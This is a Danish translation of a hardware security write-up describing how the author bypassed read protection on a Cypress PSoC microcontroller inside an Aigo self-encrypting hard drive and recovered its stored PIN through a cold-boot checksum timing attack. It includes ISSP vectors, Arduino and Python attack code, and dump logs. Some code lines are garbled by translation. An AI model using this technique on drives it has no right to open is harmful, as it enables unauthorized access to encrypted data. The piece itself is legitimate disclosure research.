Reversering og hacking af en selvkrypterende ekstern HDD Aigo. Del 2: Tagging af dump fra Cypress PSoC

Dette er den anden og afsluttende del af artiklen om hackning af eksterne selvkrypterende drev. Jeg minder om, at en kollega for nylig gav mig en harddisk fra Patriot (Aigo) SK8671, og jeg besluttede at reverse-engineere den, og nu deler jeg, hvad der kom ud af det. Før du fortsætter med at læse, skal du sørge for at gøre dig bekendt med den første del af artiklen.

4. Begynder at tage dump fra den interne PSoC-flash
5. ISSP-protokol
– 5.1. Hvad er ISSP
– 5.2. Afmystificering af vektorer
– 5.3. Kommunikation med PSoC
– 5.4. Identifikation af interne chipregistre
– 5.5. Beskyttelsesbits
6. Første (mislykkedes) angreb: ROMX
7. Andet angreb: tracing med kold genstart
– 7.1. Implementering
– 7.2. Læser resultatet
– 7.3. Rekonstruktion af flash-binary
– 7.4. Finder adresse for opbevaring af PIN-kode
– 7.5. Tager dump af blok nr. 126
– 7.6. Gendannelse af PIN-koden
8. Hvad nu?
9. Konklusion

Reversering og hacking af en selvkrypterende ekstern HDD Aigo. Del 2: Tagging af dump fra Cypress PSoC


4. Begynder at tage dump fra den interne PSoC-flash

Så alt tyder på (som vi fastslog i [den første del]()), at PIN-koden opbevares i flashens indre hos PSoC. Derfor skal vi læse disse flashområder. Fronten for de nødvendige opgaver:

  • at tage kontrol over "kommunikationen" med mikrokontrollere;
  • at finde en måde at kontrollere, om denne "kommunikation" er beskyttet mod læsning udefra;
  • at finde en metode til at omgå beskyttelsen.

Der er to steder, hvor det giver mening at lede efter den virkningsfulde PIN-kode:

  • intern flash-hukommelse;
  • SRAM, hvor PIN-koden kan opbevares for at sammenligne med den PIN-kode, som brugeren indtaster.

For at springe frem til slutningen, kan jeg nævne, at jeg alligevel lykkedes at tage dump af den interne PSoC-flash – ved at omgå dens beskyttelsessystem gennem en hardwareangreb "tracing med kold genstart" – efter at have reverse-engineeret de uofficielle muligheder i ISSP-protokollen. Dette gjorde det muligt for mig at tage dump af den aktiverede PIN-kode.

$ . /psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Den endelige kode:

5. ISSP-protokol

5.1. Hvad er ISSP

"Kommunikation" med mikrokontrolleren kan betyde forskellige ting: fra "vendor to vendor" til interaktion ved hjælp af en sekventiel protokol (f.eks. ICSP til Microchips PIC).

For Cypress har de en egen proprietær protokol kaldet ISSP (in-system serial programming protocol; intra-system seriel programmeringsprotokol), som delvist er beskrevet i den tekniske specifikation. Patent US7185162 giver også noget information. Der er også en OpenSource-analog kaldet HSSP (vi vil bruge den lidt senere). ISSP fungerer på følgende måde:

  • genstart PSoC;
  • udsend det magiske tal på benet for de sekventielle data i denne PSoC; for at gå ind i ekstern programmeringsmode;
  • sende kommandoer, som er lange bitstrenge kaldet "vektorer".

I dokumentationen for ISSP er disse vektorer kun defineret for et lille antal kommandoer:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (3V og 5V varianter)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, hvor dddddddd=blok #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, hvor DDDDDDDD = data out, aaaaaa = adresse (6 bit)
  • WRITE-BYTE: 10010aaaaaadddddddd111, hvor dddddddd = data in, aaaaaa = adresse (6 bit)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, hvor DDDDDDDDDDDDDDDD = data out: kontrolsum for enheden
  • ERASE BLOCK

For eksempel, vektoren for Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Alle vektorer har samme længde: 22 bit. I HSSP-dokumentationen er der nogle yderligere oplysninger om ISSP: "ISSP-vektor er intet andet end en bitsekvens, der repræsenterer et sæt instruktioner".

5.2. Afmystificering af vektorer

Lad os finde ud af, hvad der sker her. Oprindeligt antog jeg, at disse vektorer repræsenterer raw-varianter af M8C-instruktioner, men da jeg undersøgte dette, opdagede jeg, at opcode'erne ikke stemmer overens.

Derefter googlede jeg den ovennævnte vektor og stødte på det her forskningsstudie, hvor forfatteren, selvom han ikke går i detaljer, giver nogle nyttige hints: "Hver instruktion starter med tre bit, der svarer til en af de fire mnemonic (læse fra RAM, skrive til RAM, læse register, skrive register). Derefter kommer en 8-bit adresse, efterfulgt af 8 bit data (læst eller til skrivning), og til sidst tre stop-bits."

Derefter fik jeg meget nyttige oplysninger fra afsnittet "Supervisory ROM (SROM)" den tekniske manual. SROM er en hårdt kodet ROM i PSoC, der leverer servicefunktioner (på en måde der ligner Syscall) - til programmer, der kører i brugerrummet:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Ved at sammenligne vektornavne med SROM-funktioner kan vi matche forskellige operationer, der understøttes af denne protokol, med de forventede SROM-parametre. På denne måde kan vi dekode de første tre bits af ISSP-vektorerne:

  • 100 => "wrmem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

For at få en fuld forståelse af de interne chip-processer kan man kun opnå det ved direkte kommunikation med PSoC.

5.3. Kommunikation med PSoC

Da Dirk Petrautski allerede har porteret Cypress' HSSP-kode til Arduino, brugte jeg Arduino Uno til at oprette forbindelse til ISSP-stikket på tastaturkortet.

Bemærk, at jeg under mine undersøgelser har ændret Dirks kode en del. Min modificering kan findes på GitHub: her og den tilsvarende Python-script til kommunikation med Arduino i mit repository cypress_psoc_tools.

Så ved at bruge Arduino brugte jeg først kun de "officielle" vektorer til kommunikation. Jeg forsøgte at læse den interne ROM med kommandoen VERIFY. Som forventet lykkedes det mig ikke. Sandsynligvis fordi beskyttelsesbits mod læsning er aktiveret inde i flash'en.

Derefter skabte jeg nogle af mine egne simple vektorer til at skrive og læse hukommelse/registre. Bemærk, at vi kan læse hele SROM, selvom flash'en er beskyttet!

5.4. Identifikation af interne chipregistre

Ved at kigge på de "disassemblerede" vektorer opdagede jeg, at enheden bruger ikke-dokumenterede registre (0xF8-0xFA) til at angive M8C-opkoder, der udføres direkte, omgå beskyttelsen. Dette gjorde det muligt for mig at køre forskellige opkoder som "ADD", "MOV A, X", "PUSH" eller "JMP". Ved at se på de bivirkninger, de har på registrene, kunne jeg bestemme, hvilke af de ikke-dokumenterede registre der faktisk er almindelige registre (A, X, SP og PC).

Resultatet er, at den "disassemblerede" kode, genereret af HSSP_disas.rb værktøjet, ser sådan ud (for klarhedens skyld har jeg tilføjet kommentarer):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # nulstilling af flag
[DE C0 1C] wrreg SP (f6), 0x00      # nulstilling af SP
[9F 07 5C] wrmem KEY1, 0x3A     # obligatorisk argument for SSC
[9F 20 7C] wrmem KEY2, 0x03     # ligesom før
[DE A0 1C] wrreg PCh (f5), 0x00     # nulstilling af PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... op til 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-peger til outputdata
[DF 26 1C] wrreg opc1 (f9), 0x30        # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID til at kalde SSC
[DE 00 DC] wrreg A (f0), 0x06       # nummer "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Opcode for SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Underdokumenteret operation: udfør ekstern opcode

5.5. Beskyttelsesbits

På dette stadium kan jeg allerede kommunikere med PSoC, men jeg har stadig ikke pålidelige oplysninger om beskyttelsesbitsene i flash. Jeg blev meget overrasket over, at Cypress ikke giver enhedsbrugeren nogen midler til at kontrollere, om beskyttelsen er aktiveret. Jeg dykkede dybere ned i Google for endelig at forstå, at HSSP-koden, der blev leveret af Cypress, blev opdateret efter at Dirk udgav sin modificering. Og så! Her dukkede en ny vektor op:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # ukendte argumenter
[9F E0 1C] wrmem 0xFF, 0x00 # ligesom før
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # underdokumenteret syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ved at bruge denne vektor (se read_security_data i psoc.py) får vi alle beskyttelsesbits i SRAM ved 0x80, hvor der er to bits for hver beskyttet blok.

Resultatet er nedslående: alt er beskyttet i "deaktivér ekstern læsning og skrivning"-tilstand. Derfor kan vi hverken læse fra flash eller skrive til den (for eksempel for at implementere en ROM-dumper). Og den eneste måde at deaktivere beskyttelsen på er at slette hele chippen. 🙁

6. Første (mislykkedes) angreb: ROMX

Men kan dog prøve at lave følgende trick: da vi har mulighed for at udføre vilkårlige opkoder, hvorfor ikke udføre ROMX, som bruges til at læse flashhukommelse? Denne tilgang har en rimelig chance for succes. For funktionen ReadBlock, som læser data fra SROM (der bruges af vektorer), tjekker, om den bliver kaldt fra ISSP. Men ROMX-opkoden har sandsynligvis ikke en sådan kontrol. Her er derfor Python-koden (efter at have tilføjet nogle hjælpeklasser til den C-baserede Arduino-kode):

for i in range(0, 8192):
 write_reg(0xF0, i>>8) # A = 0
 write_reg(0xF3, i&0xFF) # X = 0
 exec_opcodes("x28x30x40") # ROMX, HALT, NOP
 byte = read_reg(0xF0) # ROMX læser ROM[A|X] ind i A
 print "x" % ord(byte[0]) # print ROM-byte

Desværre fungerer denne kode ikke. 🙁 Den fungerer i princippet, men vi får vores egne opkoder (0x28 0x30 0x40) som output! Jeg tror ikke, at den relevante funktionalitet i enheden er et element i beskyttelse mod læsning. Det ligner mere et ingeniørtrick: ved udførelse af ydre opkoder, omdirigeres ROM-bussen til en buffer.

7. Andet angreb: tracing med kold genstart

Da trick med ROMX ikke lykkedes, begyndte jeg at overveje en anden variation af dette trick – beskrevet i publikationen «Shedding too much Light on a Microcontroller’s Firmware Protection».

7.1. Implementering

I dokumentationen for ISSP er følgende vektor angivet for CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Her kaldes der i realiteten SROM-funktion 0x07, som angivet i dokumentationen (kursiv er min):

Denne funktion kontrollerer kontrolsummen. Den beregner en 16-bit kontrolsum for det antal blokke, som brugeren angiver – i en flashbank, tæller fra nul. Parameteren BLOCKID bruges til at angive antallet af blokke, der skal anvendes til beregningen af kontrolsummen. Værdien «1» beregner kun kontrolsummen for den nulte blok; mens «0» får den til at beregne den samlede kontrolsum af alle 256 blokke i flashbanken. Den 16-bit kontrolsum returneres gennem KEY1 og KEY2. I parameteret KEY1 lagres de laveste 8 bit af kontrolsummen, mens KEY2 gemmer de højeste 8 bit. For enheder med flere flash-banker kaldes kontrolsummens funktion for hver enkelt. Bankenumret, som den vil arbejde med, angives af registeret FLS_PR1 (ved at sætte det bit, der svarer til den målrettede flash-bank).

Bemærk, at dette er en simpel kontrolsum: byte summeres blot sekventielt; der er ingen sofistikerede CRC-tricks. Desuden, da jeg ved, at register sættet i M8C-kernen er meget lille, antog jeg, at under beregningen af kontrolsummen ville de mellemliggende værdier blive gemt i de samme variabler, som i sidste ende vil blive brugt: KEY1 (0xF8) / KEY2 (0xF9).

Så i teorien ser mit angreb sådan ud:

  1. Vi opretter forbindelse via ISSP.
  2. Vi starter beregningen af kontrolsummen ved hjælp af vektoren CHECKSUM-SETUP.
  3. Vi genstarter procesoren efter den angivne tid T.
  4. Vi læser RAM for at få den aktuelle kontrolsum C.
  5. Vi gentager trin 3 og 4, hver gang lidt forøger T.
  6. Vi genopretter data fra flash'en ved at trække den tidligere kontrolsum C fra den aktuelle.

Men der opstod et problem: initialiseringsvektoren Initialize-1, som vi skal sende efter genstart, overskriver KEY1 og KEY2:

1100101000000000000000  # Magien der sætter PSoC i programmeringstilstand
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # kontrolsummen overskrives her
[9F 20 7C] wrmem KEY2, 0x03 # og her
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-funktion 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Denne kode overskriver vores dyrebare kontrolsum ved at kalde Calibrate1 (SROM-funktion 9)… Måske vil vi være i stand til at komme ind i programmeringstilstand ved blot at sende det magiske tal (fra starten af den tidligere kode) og derefter læse SRAM? Og ja, det virker! Arduino-kode, der implementerer dette angreb, er ret enkel:

case Cmnd_STK_START_CSUM:
 checksum_delay = ((uint32_t)getch())<<24;
 checksum_delay |= ((uint32_t)getch())<<16;
 checksum_delay |= ((uint32_t)getch())< 10000) {
 ms_delay = checksum_delay/1000;
 checksum_delay = checksum_delay00;
 }
 else {
 ms_delay = 0;
 }
 send_checksum_v();
 if(checksum_delay)
 delayMicroseconds(checksum_delay);
 delay(ms_delay);
 start_pmode();

  1. Læs checkum_delay.
  2. Start beregningen af kontrolsummen (send_checksum_v).
  3. Vent den angivne tidsperiode; overvej følgende faldgruber:
    • jeg har brugt en masse tid, indtil jeg fandt ud af, at det viser sig delayMicroseconds fungerer korrekt kun med forsinkelser, der ikke overstiger 16383µs;
    • og derefter brugte jeg lige så meget tid igen, indtil jeg opdagede, at delayMicroseconds, når den får 0 som input, fungerer helt forkert!
  4. Genstart PSoC i programmeringstilstand (send bare det magiske tal uden at sende de initierende vektorer).

Det endelige kode på Python:

for delay in range(0, 150000): # forsinkelse i mikrosekunder
 for i in range(0, 10): # antal læsninger for hver af forsinkelserne
 try:
 reset_psoc(quiet=True) # genstart og indtræd i programmeringstilstand
 send_vectors() # sendt initialiseringsvektorer
 ser.write("x85"+struct.pack(">I", delay)) # beregn kontrolsum + genstart efter forsinkelse
 res = ser.read(1) # læs arduino ACK
 except Exception as e:
 print e
 ser.close()
 os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
 ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # åbne den serielle port
 continue
 print "d X X X" % (delay, # læs RAM-byte
 read_regb(0xf1),
 read_ramb(0xf8),
 read_ramb(0xf9))

Kort sagt, hvad koden gør:

  1. Genstarter PSoC (og sender det et magisk tal).
  2. Sender komplette initierende vektorer.
  3. Kalder Arduino-funktionen Cmnd_STK_START_CSUM (0x85), hvor forsinkelsen i mikrosekunder sendes som parameter.
  4. Aflæser kontrolsummen (0xF8 og 0xF9) og den ikke-dokumenterede registrering 0xF1.

Denne kode kører 10 gange pr. mikrosekund. 0xF1 er inkluderet her, da det var den eneste registrering, der ændrede sig under beregning af kontrolsummen. Det kunne være en midlertidig variabel, der bruges af den aritmetisk-logiske enhed. Vær opmærksom på det grimt hack, jeg bruger til at genstarte Arduino, ved hjælp af picocom, når Arduino stopper med at vise livstegn (jeg ved ikke hvorfor).

7.2. Læser resultatet

Resultatet af Python-scriptet ser sådan ud (forenklet for læsevenlighed):

DELAY F1 F8 F9  # F1 – den ovennævnte ukendte registrering
                  # F8 lavere byte af kontrolsummen
                  # F9 højere byte af kontrolsummen

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # kontrolsummen nulstilles til 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1. byte: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2. byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # jeg har ingen idé om, hvad der sker her
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Igen E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Åh, jeg forstår! Her er den flytning til den højere byte
00063 01 17 01
[...]
00075 CC 17 01  # Så, 0x117-0xE7: 0x30

Men vi har et problem: da vi arbejder med den faktiske kontrolsum, ændrer nullbyte ikke den læste værdi. Men da hele beregningsproceduren (8192 byte) tager 0,1478 sekunder (med små variationer ved hver kørsel), hvilket svarer til cirka 18,04 µs pr. byte, kan vi bruge denne tid til at kontrollere værdien af kontrolsummen på passende tidspunkter. For de første gennemgange er alt ret let at læse, da varigheden af den udførende proces altid er næsten den samme. Men slutningen af dette dump er mindre præcis, fordi "uanselige tidsafvigelser" ved hver gennemgang akkumuleres og bliver betydelige:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Det er 10 dumps for hver mikrosekund forsinkelse. Den samlede tid til at tage dumpen af alle 8192 byte af flashen tager omkring 48 timer.

7.3. Rekonstruktion af flash-binærfil

Jeg er stadig ikke færdig med at skrive koden, der fuldstændigt rekonstruerer flashens softwarekode under hensyntagen til alle tidsafvigelser. Men jeg har allerede genoprettet starten af denne kode. For at sikre mig, at jeg har gjort det korrekt, har jeg disassembleret den ved hjælp af m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Det ser fuldstændig troværdigt ud!

7.4. Finder adressen for opbevaring af pinkoden

Nu, når vi kan læse checksummen på de ønskede tidspunkter, kan vi nemt kontrollere, hvordan og hvor den ændrer sig, når vi:

  • indtaster en forkert pinkode;
  • ændrer pinkoden.

I starten, for at finde en cirka adresse, tog jeg et dump af checksummen hvert 10. ms efter genstart. Derefter indtastede jeg en forkert pinkode og gjorde det samme.

Resultatet viste sig ikke at være særlig behageligt, da der var mange ændringer. Men til sidst lykkedes det mig at fastslå, at checksummen ændrede sig et sted mellem 120000 µs og 140000 µs forsinkelse. Men "pinkoden", som jeg fandt der, var helt forkert - på grund af artefaktet fra delayMicroseconds proceduren, som gør underlige ting, når der gives 0.

Dernæst, efter at have brugt næsten 3 timer, huskede jeg, at SROM's systemanrop CheckSum modtager et argument, der angiver antallet af blokke til checksummen! Således kan vi nemt lokalisere adressen for pinkoden og antallet af "forkerte forsøg" - nøjagtigt til 64-bytes blok.

Mine oprindelige gennemgange gav følgende resultater:

Reversering og hacking af en selvkrypterende ekstern HDD Aigo. Del 2: Tagging af dump fra Cypress PSoC

Derefter ændrede jeg pinkoden fra "123456" til "1234567" og fik:

Reversering og hacking af en selvkrypterende ekstern HDD Aigo. Del 2: Tagging af dump fra Cypress PSoC

Således ser det ud til, at pinkoden og antallet af forkert indtastede forsøg opbevares i blok nr. 126.

7.5. Tager dump af blok nr. 126

Blok nr. 126 skulle befinde sig et sted omkring 125x64x18 = 144000 µs, fra starten af beregningen af checksummen, i mit fulde dump, og det ser ganske troværdigt ud. Derefter, efter manuelt at have sorteret mange forkerte dumps (på grund af akkumulering af "uanselige tidsafvigelser"), endte jeg med at få følgende bytes (ved en forsinkelse på 145527 µs):

Reversering og hacking af en selvkrypterende ekstern HDD Aigo. Del 2: Tagging af dump fra Cypress PSoC

Det er helt tydeligt, at PIN-koden gemmes i ukrypteret form! Disse værdier er selvfølgelig ikke gemt i ASCII-koder, men det viser sig, at de afspejler de målinger, der er taget med et capacitivt tastatur.

Endelig har jeg udført et par tests mere for at finde ud af, hvor tælleren for forkerte forsøg opbevares. Her er resultatet:

Reversering og hacking af en selvkrypterende ekstern HDD Aigo. Del 2: Tagging af dump fra Cypress PSoC

0xFF - betyder «15 forsøg», og den reduceres ved hvert forkert forsøg.

7.6. Gendannelse af PIN-koden

Her er min grimme kode, som samler alt det nævnte ovenfor:

def dump_pin():
 pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
 last_csum = 0
 pin_bytes = []
 for delay in range(145495, 145719, 16):
 csum = csum_at(delay, 1)
 byte = (csum-last_csum)&0xFF
 print "d x (x) => x" % (delay, csum, last_csum, byte)
 pin_bytes.append(byte)
 last_csum = csum
 print "PIN: ",
 for i in range(0, len(pin_bytes)):
 if pin_bytes[i] in pin_map:
 print pin_map[pin_bytes[i]],
 print

Her er resultatet af dens kørsel:

$ .\/psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurra! Det virker!

Bemærk, at de forsinkelsesværdier, jeg har brugt, sandsynligvis kun er relevante for én specifik PSoC - den, som jeg brugte.

8. Hvad nu?

Lad os opsummere på PSoC-siden i sammenhæng med vores Aigo-lager:

  • vi kan læse SRAM, selv hvis den er beskyttet mod aflæsning;
  • vi kan omgå beskyttelsen mod aflæsning ved hjælp af et «cold boot attack» og direkte aflæsning af PIN-koden.

Dog har vores angreb nogle mangler - på grund af synkroniseringsproblemer. Det kunne forbedres på følgende måder:

  • skrive et værktøj til korrekt dekodning af outputdata opnået ved hjælp af et «cold boot attack»;
  • bruge en FPGA-tilføjelse til at skabe mere præcise tidsforsinkelser (eller bruge hardware-timere fra Arduino);
  • prøv en anden angrebsmetode: indtast en bevidst forkert PIN-kode, genstart og dump RAM, i håbet om at den rigtige PIN-kode vil være gemt i RAM til sammenligning. Men det er ikke så enkelt at gøre på Arduino, da signalniveauet for Arduino er 5 volt, mens det board, vi undersøger, arbejder med signaler på 3,3 volt.

En interessant ting, man kunne prøve, er at lege med spændingsniveauet for at omgå beskyttelsen mod læsning. Hvis denne tilgang fungerede, ville vi kunne få absolut præcise data fra flashdrev i stedet for at stole på at læse checksummen med unøjagtige tidsforsinkelser.

Da SROM sandsynligvis læser beskyttelsesbitene via systemopkaldet ReadBlock, kunne vi gøre det samme som beskrevet i Dmitry NedoSpasov's blog - en gentagelse af Chris Gerlinskis angreb, der blev annonceret på konferencen «REcon Brussels 2017».

En anden sjov ting, man kunne gøre, er at slibe kuplen af chippen: for at tage en dump af SRAM, afsløre ikke-dokumenterede systemopkald og sårbarheder.

9. Konklusion

Så beskyttelsen af dette drev efterlader meget at ønske, fordi det bruger en almindelig (ikke "hærdet") mikrokontroller til lagring af PIN-koden... Plus, jeg har endnu ikke set (indtil videre), hvordan det står til med krypteringen af data på denne enhed!

Hvad kan man anbefale til Aigo? Efter at have analyseret et par modeller af krypterede HDD-drev, lavede jeg i 2015 en præsentation på SyScan, hvor jeg undersøgte sikkerhedsproblemerne for flere eksterne HDD-drev og gav anbefalinger til, hvad der kunne forbedres. 🙂

Jeg brugte to weekender og et par aftener på denne forskning. I alt omkring 40 timer. Fra starten (da jeg åbnede disken) til slutningen (dump af PIN-koden). Disse 40 timer inkluderer også den tid, jeg brugte på at skrive denne artikel. Det har været en spændende rejse.

Kilde: habr.com

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster